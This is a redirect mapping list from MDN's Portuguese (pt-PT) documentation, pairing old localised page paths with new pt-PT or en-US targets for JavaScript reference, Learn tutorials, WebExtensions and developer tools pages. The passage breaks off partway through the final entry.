-/pt-PT/docs/JavaScript/Referência/Operators/Arithmetic_Operators /en-US/docs/Web/JavaScript/Reference/Operators -/pt-PT/docs/JavaScript/Referência/Operators/Assignment_Operators /en-US/docs/Web/JavaScript/Reference/Operators#Assignment_operators -/pt-PT/docs/JavaScript/Referência/Operators/Bitwise_Operators /en-US/docs/Web/JavaScript/Reference/Operators -/pt-PT/docs/JavaScript/Referência/Operators/Comparison_Operators /en-US/docs/Web/JavaScript/Reference/Operators -/pt-PT/docs/JavaScript/Referência/Operators/Logical_Operators /en-US/docs/Web/JavaScript/Reference/Operators -/pt-PT/docs/JavaScript/Referência/Operators/Member_Operators /en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors -/pt-PT/docs/JavaScript/Referência/Operators/Operator_Precedence /en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence -/pt-PT/docs/JavaScript/Referência/Operators/Special/Comma_Operator /en-US/docs/Web/JavaScript/Reference/Operators/Comma_Operator -/pt-PT/docs/JavaScript/Referência/Operators/Special/Conditional_Operator /en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator -/pt-PT/docs/JavaScript/Referência/Operators/Special/delete /en-US/docs/Web/JavaScript/Reference/Operators/delete -/pt-PT/docs/JavaScript/Referência/Operators/Special/function /en-US/docs/Web/JavaScript/Reference/Operators/function -/pt-PT/docs/JavaScript/Referência/Operators/Special/get /en-US/docs/Web/JavaScript/Reference/Functions/get -/pt-PT/docs/JavaScript/Referência/Operators/Special/in /en-US/docs/Web/JavaScript/Reference/Operators/in -/pt-PT/docs/JavaScript/Referência/Operators/Special/instanceof /en-US/docs/Web/JavaScript/Reference/Operators/instanceof -/pt-PT/docs/JavaScript/Referência/Operators/Special/new /en-US/docs/Web/JavaScript/Reference/Operators/new -/pt-PT/docs/JavaScript/Referência/Operators/Special/set /en-US/docs/Web/JavaScript/Reference/Functions/set -/pt-PT/docs/JavaScript/Referência/Operators/Special/this /en-US/docs/Web/JavaScript/Reference/Operators/this -/pt-PT/docs/JavaScript/Referência/Operators/Special/typeof /en-US/docs/Web/JavaScript/Reference/Operators/typeof -/pt-PT/docs/JavaScript/Referência/Operators/Special/void /en-US/docs/Web/JavaScript/Reference/Operators/void -/pt-PT/docs/JavaScript/Referência/Reserved_Words /en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords -/pt-PT/docs/JavaScript/Referência/Statements /en-US/docs/Web/JavaScript/Reference/Statements -/pt-PT/docs/JavaScript/Referência/Statements/block /en-US/docs/Web/JavaScript/Reference/Statements/block -/pt-PT/docs/JavaScript/Referência/Statements/break /en-US/docs/Web/JavaScript/Reference/Statements/break -/pt-PT/docs/JavaScript/Referência/Statements/const /en-US/docs/Web/JavaScript/Reference/Statements/const -/pt-PT/docs/JavaScript/Referência/Statements/continue /en-US/docs/Web/JavaScript/Reference/Statements/continue -/pt-PT/docs/JavaScript/Referência/Statements/debugger /en-US/docs/Web/JavaScript/Reference/Statements/debugger -/pt-PT/docs/JavaScript/Referência/Statements/do...while /en-US/docs/Web/JavaScript/Reference/Statements/do...while -/pt-PT/docs/JavaScript/Referência/Statements/export /en-US/docs/Web/JavaScript/Reference/Statements/export -/pt-PT/docs/JavaScript/Referência/Statements/for /en-US/docs/Web/JavaScript/Reference/Statements/for -/pt-PT/docs/JavaScript/Referência/Statements/for...in /en-US/docs/Web/JavaScript/Reference/Statements/for...in -/pt-PT/docs/JavaScript/Referência/Statements/function /en-US/docs/Web/JavaScript/Reference/Statements/function -/pt-PT/docs/JavaScript/Referência/Statements/if...else /en-US/docs/Web/JavaScript/Reference/Statements/if...else -/pt-PT/docs/JavaScript/Referência/Statements/import /en-US/docs/Web/JavaScript/Reference/Statements/import -/pt-PT/docs/JavaScript/Referência/Statements/label /en-US/docs/Web/JavaScript/Reference/Statements/label -/pt-PT/docs/JavaScript/Referência/Statements/let /en-US/docs/Web/JavaScript/Reference/Statements/let -/pt-PT/docs/JavaScript/Referência/Statements/return /en-US/docs/Web/JavaScript/Reference/Statements/return -/pt-PT/docs/JavaScript/Referência/Statements/switch /en-US/docs/Web/JavaScript/Reference/Statements/switch -/pt-PT/docs/JavaScript/Referência/Statements/throw /en-US/docs/Web/JavaScript/Reference/Statements/throw -/pt-PT/docs/JavaScript/Referência/Statements/try...catch /en-US/docs/Web/JavaScript/Reference/Statements/try...catch -/pt-PT/docs/JavaScript/Referência/Statements/var /en-US/docs/Web/JavaScript/Reference/Statements/var -/pt-PT/docs/JavaScript/Referência/Statements/while /en-US/docs/Web/JavaScript/Reference/Statements/while -/pt-PT/docs/JavaScript/Referência/Statements/with /en-US/docs/Web/JavaScript/Reference/Statements/with -/pt-PT/docs/JavaScript/Referência/Symbols /en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol -/pt-PT/docs/JavaScript:O_que_é_o_JavaScript /pt-PT/docs/orphaned/Web/JavaScript/O_que_é_o_JavaScript -/pt-PT/docs/JavaScript_Shells /pt-PT/docs/Web/JavaScript/Shells -/pt-PT/docs/Java_em_Extensões_do_Firefox /pt-PT/docs/orphaned/Java_em_Extensões_do_Firefox -/pt-PT/docs/Javascript_orientado_a_objetos /pt-PT/docs/orphaned/Javascript_orientado_a_objetos -/pt-PT/docs/Jogos /pt-PT/docs/Games -/pt-PT/docs/Jogos/Tutoriais /pt-PT/docs/Games/Tutorials -/pt-PT/docs/Learn/Acessibilidade /pt-PT/docs/Learn/Accessibility -/pt-PT/docs/Learn/CSS/Estilo_de_caixas /en-US/docs/Learn/CSS/Building_blocks -/pt-PT/docs/Learn/CSS/Estilo_de_texto /pt-PT/docs/Learn/CSS/Styling_text -/pt-PT/docs/Learn/CSS/Howto/FAQ_de_CSS /pt-PT/docs/Learn/CSS/Howto/CSS_FAQ -/pt-PT/docs/Learn/CSS/Introduction_to_CSS /en-US/docs/Learn/CSS/First_steps -/pt-PT/docs/Learn/CSS/Introduction_to_CSS/Seletores /en-US/docs/Learn/CSS/Building_blocks/Selectors -/pt-PT/docs/Learn/Comecar_com_a_Web /pt-PT/docs/Learn/Getting_started_with_the_web -/pt-PT/docs/Learn/Comecar_com_a_Web/A_web_e_os_padroes_da_web /pt-PT/docs/Learn/Getting_started_with_the_web/The_web_and_web_standards -/pt-PT/docs/Learn/Comecar_com_a_Web/Apresentacao_do_meu_site /pt-PT/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like -/pt-PT/docs/Learn/Comecar_com_a_Web/CSS_basico /pt-PT/docs/Learn/Getting_started_with_the_web/CSS_basics -/pt-PT/docs/Learn/Comecar_com_a_Web/Como_funciona_a_Web /pt-PT/docs/Learn/Getting_started_with_the_web/How_the_Web_works -/pt-PT/docs/Learn/Comecar_com_a_Web/Elementar_de_JavaScript /pt-PT/docs/Learn/Getting_started_with_the_web/JavaScript_basics -/pt-PT/docs/Learn/Comecar_com_a_Web/HTML_basicos /pt-PT/docs/Learn/Getting_started_with_the_web/HTML_basics -/pt-PT/docs/Learn/Comecar_com_a_Web/Installing_basic_software /pt-PT/docs/Learn/Getting_started_with_the_web/Installing_basic_software -/pt-PT/docs/Learn/Comecar_com_a_Web/Lidar_com_ficheiros /pt-PT/docs/Learn/Getting_started_with_the_web/Dealing_with_files -/pt-PT/docs/Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web /pt-PT/docs/Learn/Getting_started_with_the_web/Publishing_your_website -/pt-PT/docs/Learn/HTML/Como /pt-PT/docs/Learn/HTML/Howto -/pt-PT/docs/Learn/HTML/Como/Adicionar_um_mapa_de_zona_clicavel_numa_imagem /pt-PT/docs/Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image -/pt-PT/docs/Learn/HTML/Introducao_ao_HTML /pt-PT/docs/Learn/HTML/Introduction_to_HTML -/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Criar_hiperligacoes /pt-PT/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks -/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Depurar_HTML /pt-PT/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML -/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Estrutura_documento_website /pt-PT/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure -/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Estruturar_pagina_de_conteudo /pt-PT/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content -/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Formatacao_avancada_texto /pt-PT/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting -/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Iniciacao_HTML /pt-PT/docs/Learn/HTML/Introduction_to_HTML/Getting_started -/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Os_metadados_de_head_em_HTML /pt-PT/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML -/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/demarcar_uma_carta /pt-PT/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter -/pt-PT/docs/Learn/HTML/Multimedia_and_embedding/Pagina_de_boas_vindas_da_Mozilla /pt-PT/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page -/pt-PT/docs/Learn/HTML/Multimedia_e_integracao /pt-PT/docs/Learn/HTML/Multimedia_and_embedding -/pt-PT/docs/Learn/HTML/Multimedia_e_integracao/Conteudo_de_audio_e_vídeo /pt-PT/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content -/pt-PT/docs/Learn/HTML/Tables/Avaliacao_Estruturar_os_dados_dos_planetas /pt-PT/docs/Learn/HTML/Tables/Structuring_planet_data -/pt-PT/docs/Learn/HTML/Tables/Avancada /pt-PT/docs/Learn/HTML/Tables/Advanced -/pt-PT/docs/Learn/HTML/Tables/Basicos /pt-PT/docs/Learn/HTML/Tables/Basics -/pt-PT/docs/Learn/JavaScript/Primeiros_passos /pt-PT/docs/Learn/JavaScript/First_steps -/pt-PT/docs/Learn/No-servidor /pt-PT/docs/Learn/Server-side -/pt-PT/docs/Learn/No-servidor/Django /pt-PT/docs/Learn/Server-side/Django -/pt-PT/docs/Learn/No-servidor/Express_Nodejs /pt-PT/docs/Learn/Server-side/Express_Nodejs -/pt-PT/docs/Learn/No-servidor/Express_Nodejs/Configurar_um_meio_de_desenvolvimento_Node /pt-PT/docs/Learn/Server-side/Express_Nodejs/development_environment -/pt-PT/docs/Learn/No-servidor/Express_Nodejs/Introduction /pt-PT/docs/Learn/Server-side/Express_Nodejs/Introduction -/pt-PT/docs/Learn/No-servidor/Servidor_node_sem_framework /pt-PT/docs/Learn/Server-side/Node_server_without_framework -/pt-PT/docs/Learn/Questoes_comuns /pt-PT/docs/Learn/Common_questions -/pt-PT/docs/Learn/Questoes_comuns/Como_funciona_a_Internet /pt-PT/docs/Learn/Common_questions/How_does_the_Internet_work -/pt-PT/docs/Learn/Questoes_comuns/Congiurar_um_servidor_de_testes_local /pt-PT/docs/Learn/Common_questions/set_up_a_local_testing_server -/pt-PT/docs/Learn/Questoes_comuns/O_que_e_um_URL /pt-PT/docs/Learn/Common_questions/What_is_a_URL -/pt-PT/docs/Learn/Questoes_comuns/O_que_e_um_nome_de_dominio /pt-PT/docs/Learn/Common_questions/What_is_a_domain_name -/pt-PT/docs/Learn/Questoes_comuns/O_que_e_um_servidor_da_Web /pt-PT/docs/Learn/Common_questions/What_is_a_web_server -/pt-PT/docs/Learn/Questoes_comuns/Qual_e_a_diferenca_entre_pagina_site_servidor_da_web_e_mecanismo_pesquisa /pt-PT/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines -/pt-PT/docs/Learn/Tools_and_testing/Teste_cruzado_de_navegador /pt-PT/docs/Learn/Tools_and_testing/Cross_browser_testing -/pt-PT/docs/Learn/Tools_and_testing/Teste_cruzado_de_navegador/Acessibilidade /pt-PT/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility -/pt-PT/docs/Localizar_descrições_de_extensões /pt-PT/docs/orphaned/Localizar_descrições_de_extensões -/pt-PT/docs/Localização /pt-PT/docs/Glossary/Localization -/pt-PT/docs/MDN/Comunidade /pt-PT/docs/orphaned/MDN/Community -/pt-PT/docs/MDN/Comunidade/Conversações /pt-PT/docs/orphaned/MDN/Community/Conversations -/pt-PT/docs/MDN/Comunidade/Doc_sprints /pt-PT/docs/orphaned/MDN/Community/Doc_sprints -/pt-PT/docs/MDN/Comunidade/O_que_está_a_acontecer /pt-PT/docs/orphaned/MDN/Community/Whats_happening -/pt-PT/docs/MDN/Comunidade/Trabalhar_em_comunidade /pt-PT/docs/orphaned/MDN/Community/Working_in_community -/pt-PT/docs/MDN/Contribute/Editor /pt-PT/docs/orphaned/MDN/Editor -/pt-PT/docs/MDN/Contribute/Editor/Basicos /pt-PT/docs/orphaned/MDN/Editor/Basics -/pt-PT/docs/MDN/Contribute/Howto/Como_converter_exemplos_de_codigo_para_ficarem_live /pt-PT/docs/MDN/Contribute/Howto/Convert_code_samples_to_be_live -/pt-PT/docs/MDN/Contribute/Howto/Como_definir_o_resumo_para_uma_pagina /pt-PT/docs/orphaned/MDN/Contribute/Howto/Set_the_summary_for_a_page -/pt-PT/docs/MDN/Contribute/Howto/Como_efetuar_revisao_tecnica /pt-PT/docs/orphaned/MDN/Contribute/Howto/Do_a_technical_review -/pt-PT/docs/MDN/Contribute/Howto/Como_escrever_um_artigo_para_ajudar_as_pessoas_a_aprenderem_sobre_a_Web /pt-PT/docs/orphaned/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web -/pt-PT/docs/MDN/Contribute/Howto/Como_escrever_uma_nova_entrada_no_Glossario /pt-PT/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary -/pt-PT/docs/MDN/Contribute/Howto/Comunicar_um_problema /pt-PT/docs/MDN/Contribute/Howto/Report_a_problem -/pt-PT/docs/MDN/Contribute/Howto/Criar_e_editar_paginas /pt-PT/docs/MDN/Contribute/Howto/Create_and_edit_pages -/pt-PT/docs/MDN/Contribute/Howto/Criar_uma_conta_MDN /pt-PT/docs/orphaned/MDN/Contribute/Howto/Create_an_MDN_account -/pt-PT/docs/MDN/Contribute/Howto/Etiqueta /pt-PT/docs/MDN/Contribute/Howto/Tag -/pt-PT/docs/MDN/Contribute/Howto/Marcar_paginas_JavaScript /pt-PT/docs/orphaned/MDN/Contribute/Howto/Tag_JavaScript_pages -/pt-PT/docs/MDN/Contribute/Howto/Participar_testes_beta /pt-PT/docs/orphaned/MDN/Contribute/Howto/Be_a_beta_tester -/pt-PT/docs/MDN/Contribute/Howto/fazer_revisão_editorial /pt-PT/docs/orphaned/MDN/Contribute/Howto/Do_an_editorial_review -/pt-PT/docs/MDN/Contribute/Structures /pt-PT/docs/MDN/Structures -/pt-PT/docs/MDN/Contribute/Structures/API_references /pt-PT/docs/orphaned/MDN/Structures/API_references -/pt-PT/docs/MDN/Contribute/Structures/API_references/Barras_laterais_de_referencia_da_API /pt-PT/docs/MDN/Contribute/Howto/Write_an_API_reference/Sidebars -/pt-PT/docs/MDN/Contribute/Structures/API_references/O_que_e_que_uma_referencia_de_API_precisa /pt-PT/docs/orphaned/MDN/Structures/API_references/What_does_an_API_reference_need -/pt-PT/docs/MDN/Contribute/Structures/Exemplos_live /pt-PT/docs/MDN/Structures/Live_samples -/pt-PT/docs/MDN/Contribute/Structures/Macros /pt-PT/docs/MDN/Structures/Macros -/pt-PT/docs/MDN/Contribute/Tools /pt-PT/docs/MDN/Tools -/pt-PT/docs/MDN/Contribute/Tools/Edição_de_modelo /pt-PT/docs/orphaned/MDN/Tools/Template_editing -/pt-PT/docs/MDN/Contribute/Tools/KumaScript /pt-PT/docs/MDN/Tools/KumaScript -/pt-PT/docs/MDN/Contribute/Tools/Vigiar_pagina /pt-PT/docs/orphaned/MDN/Tools/Page_watching -/pt-PT/docs/MDN/Contribute/linhas_diretrizes /pt-PT/docs/MDN/Guidelines -/pt-PT/docs/MDN/Contribute/linhas_diretrizes/Convencoes_definicoes /pt-PT/docs/MDN/Guidelines/Conventions_definitions -/pt-PT/docs/MDN/Contribute/linhas_diretrizes/Guia_de_estilo_de_escrita /pt-PT/docs/MDN/Guidelines/Writing_style_guide -/pt-PT/docs/MDN/Contribute/linhas_diretrizes/Isto_pertence_a_MDN /pt-PT/docs/MDN/Guidelines/Does_this_belong_on_MDN -/pt-PT/docs/MDN/Contribute/resolucao_de_problemas /pt-PT/docs/orphaned/MDN/Troubleshooting -/pt-PT/docs/MDN/Editor /pt-PT/docs/orphaned/MDN/Editor -/pt-PT/docs/MDN/Editor/Basicos /pt-PT/docs/orphaned/MDN/Editor/Basics -/pt-PT/docs/MDN/Guidelines/Convencoes_definicoes /pt-PT/docs/MDN/Guidelines/Conventions_definitions -/pt-PT/docs/MDN/Guidelines/Guia_de_estilo_de_escrita /pt-PT/docs/MDN/Guidelines/Writing_style_guide -/pt-PT/docs/MDN/Guidelines/Isto_pertence_a_MDN /pt-PT/docs/MDN/Guidelines/Does_this_belong_on_MDN -/pt-PT/docs/MDN/Intrudução /pt-PT/docs/MDN/Contribute/Getting_started -/pt-PT/docs/MDN/Kuma /pt-PT/docs/MDN/Yari -/pt-PT/docs/MDN/Opiniao /pt-PT/docs/MDN/Contribute/Feedback -/pt-PT/docs/MDN/Sobre /pt-PT/docs/MDN/About -/pt-PT/docs/MDN/Structures/API_references /pt-PT/docs/orphaned/MDN/Structures/API_references -/pt-PT/docs/MDN/Structures/API_references/Barras_laterais_de_referencia_da_API /pt-PT/docs/MDN/Contribute/Howto/Write_an_API_reference/Sidebars -/pt-PT/docs/MDN/Structures/API_references/O_que_e_que_uma_referencia_de_API_precisa /pt-PT/docs/orphaned/MDN/Structures/API_references/What_does_an_API_reference_need -/pt-PT/docs/MDN/Structures/Exemplos_live /pt-PT/docs/MDN/Structures/Live_samples -/pt-PT/docs/MDN/Tools/Edição_de_modelo /pt-PT/docs/orphaned/MDN/Tools/Template_editing -/pt-PT/docs/MDN/Tools/Vigiar_pagina /pt-PT/docs/orphaned/MDN/Tools/Page_watching -/pt-PT/docs/MDN/Troubleshooting /pt-PT/docs/orphaned/MDN/Troubleshooting -/pt-PT/docs/MDN_at_ten /pt-PT/docs/MDN/At_ten -/pt-PT/docs/MDN_at_ten/Contribuir_para_MDN /pt-PT/docs/conflicting/MDN/Contribute -/pt-PT/docs/MDN_at_ten/Historia_da_MDN /pt-PT/docs/MDN/At_ten/History_of_MDN -/pt-PT/docs/Manipuladores_de_protocolo_web /pt-PT/docs/orphaned/Manipuladores_de_protocolo_web -/pt-PT/docs/Melhorias_do_Gerenciador_de_Downloads_no_Firefox_3 /pt-PT/docs/orphaned/Melhorias_do_Gerenciador_de_Downloads_no_Firefox_3 -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/API/Armazenamento /pt-PT/docs/Mozilla/Add-ons/WebExtensions/API/storage -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/API/devtools.panels /pt-PT/docs/Mozilla/Add-ons/WebExtensions/API/devtools/panels -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/A_sua_primeira_extensao /pt-PT/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/A_sua_segunda_extensao /pt-PT/docs/Mozilla/Add-ons/WebExtensions/Your_second_WebExtension -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Anatomia_de_uma_extensao /pt-PT/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/As_melhores_praticas_de_experiencia_do_utilizador /pt-PT/docs/orphaned/Mozilla/Add-ons/WebExtensions/User_experience_best_practices -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Conversao_de_uma_extensao_legada_do_firefox /pt-PT/docs/orphaned/Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/E_a_seguir /pt-PT/docs/Mozilla/Add-ons/WebExtensions/What_next_ -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Exemplos_extensoes /pt-PT/docs/Mozilla/Add-ons/WebExtensions/Examples -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/ExtennsoesWeb_e_a_id_do_extra /pt-PT/docs/orphaned/Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Extensão_das_ferramentas_de_desenvolvimento /pt-PT/docs/Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Instalacao_temporaria_no_Firefox /pt-PT/docs/orphaned/Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Interceptar_Pedidos_HTTP /pt-PT/docs/Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/O_que_sao_WebExtensions /pt-PT/docs/Mozilla/Add-ons/WebExtensions/What_are_WebExtensions -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Primeiros_passos_com_web-ext /pt-PT/docs/orphaned/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Publicar_a_sua_extensao /pt-PT/docs/orphaned/Mozilla/Add-ons/WebExtensions/Package_your_extension_ -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Scripts_Conteudo /pt-PT/docs/Mozilla/Add-ons/WebExtensions/Content_scripts -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Suporte_navegador_APIs_JavaScript /pt-PT/docs/Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Trasnsferir_extensao_Google_Chrome /pt-PT/docs/orphaned/Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/dubla_padrões /pt-PT/docs/Mozilla/Add-ons/WebExtensions/Match_patterns -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Acoes_pagina /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Ação_navegador /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_action -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Barras_laterais /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Estilos_de_navegador /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Itens_do_menu_de_contexto /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Notificacoes /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Notifications -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Omnibox /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Omnibox -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Options_pages /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Paginas_de_extensão /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Popups /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/devtools_panels /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications /pt-PT/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_specific_settings -/pt-PT/docs/Mozilla/Add-ons/WebExtensions/manifest.json/icones /pt-PT/docs/Mozilla/Add-ons/WebExtensions/manifest.json/icons -/pt-PT/docs/Mudanças_no_Gecko_1.9_que_afetam_websites /pt-PT/docs/Mozilla/Firefox/Releases/3/Site_compatibility -/pt-PT/docs/Novidades_no_Javascript_1.8 /pt-PT/docs/Web/JavaScript/Novidades_no_JavaScript/Novidades_no_Javascript_1.8 -/pt-PT/docs/O_DOM_e_o_JavaScript /pt-PT/docs/orphaned/O_DOM_e_o_JavaScript -/pt-PT/docs/Plugins/Ativacao_de_Flash:_comparacao_de_navegador /pt-PT/docs/orphaned/Plugins/Flash_Activation:_Browser_Comparison -/pt-PT/docs/Plugins/Flash_para_HTML5 /pt-PT/docs/Plugins/Flash_to_HTML5 -/pt-PT/docs/Página_principal /pt-PT/docs/Web -/pt-PT/docs/Referência_CSS /pt-PT/docs/Web/CSS/Reference -/pt-PT/docs/Referência_JSDBGAPI /pt-PT/docs/orphaned/Referência_JSDBGAPI -/pt-PT/docs/Referência_do_DOM_Gecko/Prefácio /pt-PT/docs/orphaned/Referência_do_DOM_Gecko/Prefácio -/pt-PT/docs/Referência_do_DOM_Gecko:Prefácio /pt-PT/docs/orphaned/Referência_do_DOM_Gecko/Prefácio -/pt-PT/docs/SVG /pt-PT/docs/Web/SVG -/pt-PT/docs/SVG/Tutorial /pt-PT/docs/Web/SVG/Tutorial -/pt-PT/docs/Sobre_o_Document_Object_Model /pt-PT/docs/orphaned/Sobre_o_Document_Object_Model -/pt-PT/docs/Tinderbox /pt-PT/docs/orphaned/Tinderbox -/pt-PT/docs/Toolkit_API /pt-PT/docs/orphaned/Toolkit_API -/pt-PT/docs/Tools/Add-ons /pt-PT/docs/orphaned/Tools/Add-ons -/pt-PT/docs/Tools/Capturas_de_ecra /pt-PT/docs/Tools/Taking_screenshots -/pt-PT/docs/Tools/Configurações /pt-PT/docs/Tools/Settings -/pt-PT/docs/Tools/Consola_da_Web /pt-PT/docs/Tools/Web_Console -/pt-PT/docs/Tools/Consola_da_Web/Abertura_Consola_Web /pt-PT/docs/Tools/Web_Console/UI_Tour -/pt-PT/docs/Tools/Consola_da_Web/Ajuda /pt-PT/docs/Tools/Web_Console/Helpers -/pt-PT/docs/Tools/Consola_da_Web/Atalhos_teclado /pt-PT/docs/Tools/Web_Console/Keyboard_shortcuts -/pt-PT/docs/Tools/Consola_da_Web/Dividir_consola /pt-PT/docs/Tools/Web_Console/Split_console -/pt-PT/docs/Tools/Consola_da_Web/Mensagens_consola /pt-PT/docs/Tools/Web_Console/Console_messages -/pt-PT/docs/Tools/Consola_da_Web/O_interprete_da_linha_de_comandos /pt-PT/docs/Tools/Web_Console/The_command_line_interpreter -/pt-PT/docs/Tools/Consola_da_Web/Rich_output /pt-PT/docs/Tools/Web_Console/Rich_output -/pt-PT/docs/Tools/Debugger/Demonstracao_IU /pt-PT/docs/Tools/Debugger/UI_Tour -/pt-PT/docs/Tools/Debugger/How_to/Abrir_o_depurador /pt-PT/docs/Tools/Debugger/How_to/Open_the_debugger -/pt-PT/docs/Tools/Desempenho /pt-PT/docs/Tools/Performance -/pt-PT/docs/Tools/Desempenho/Arvore_de_Chamada /pt-PT/docs/Tools/Performance/Call_Tree -/pt-PT/docs/Tools/Desempenho/Cascata /pt-PT/docs/Tools/Performance/Waterfall -/pt-PT/docs/Tools/Desempenho/Como_fazer /pt-PT/docs/Tools/Performance/How_to -/pt-PT/docs/Tools/Desempenho/Frame_rate /pt-PT/docs/Tools/Performance/Frame_rate -/pt-PT/docs/Tools/Editor_de_audio_da_Web /pt-PT/docs/Tools/Web_Audio_Editor -/pt-PT/docs/Tools/Editor_de_estilo /pt-PT/docs/Tools/Style_Editor -/pt-PT/docs/Tools/Inspetor_de_armazenamento /pt-PT/docs/Tools/Storage_Inspector -/pt-PT/docs/Tools/Memoria /pt-PT/docs/Tools/Memory -/pt-PT/docs/Tools/Modo_de_Desenho_Adaptavel /pt-PT/docs/Tools/Responsive_Design_Mode -/pt-PT/docs/Tools/Page_Inspector/Guia_de_IU /pt-PT/docs/Tools/Page_Inspector/UI_Tour -/pt-PT/docs/Tools/Page_Inspector/How_to/Abrir_o_inspetor /pt-PT/docs/Tools/Page_Inspector/How_to/Open_the_Inspector -/pt-PT/docs/Tools/Page_Inspector/How_to/Examinar_e_editar_CSS /pt-PT/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS -/pt-PT/docs/Tools/Page_Inspector/How_to/Examinar_e_editar_o_modelo_de_caixa /pt-PT/docs/Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model -/pt-PT/docs/Tools/Page_Inspector/How_to/Inspecionar_e_selecionar_cores /pt-PT/docs/Tools/Page_Inspector/How_to/Inspect_and_select_colors -/pt-PT/docs/Tools/Page_Inspector/How_to/Reposicao_de_elementos_na_pagina /pt-PT/docs/Tools/Page_Inspector/How_to/Reposition_elements_in_the_page -/pt-PT/docs/Tools/Page_Inspector/How_to/Trabalhar_com_animacoes /pt-PT/docs/Tools/Page_Inspector/How_to/Work_with_animations -/pt-PT/docs/Tools/Page_Inspector/How_to/Utilizar_a_API_do_Inspetor /pt-PT/docs/Tools/Page_Inspector/How_to/Use_the_Inspector_API -/pt-PT/docs/Tools/Page_Inspector/How_to/Visualizar_tipos_de_letra 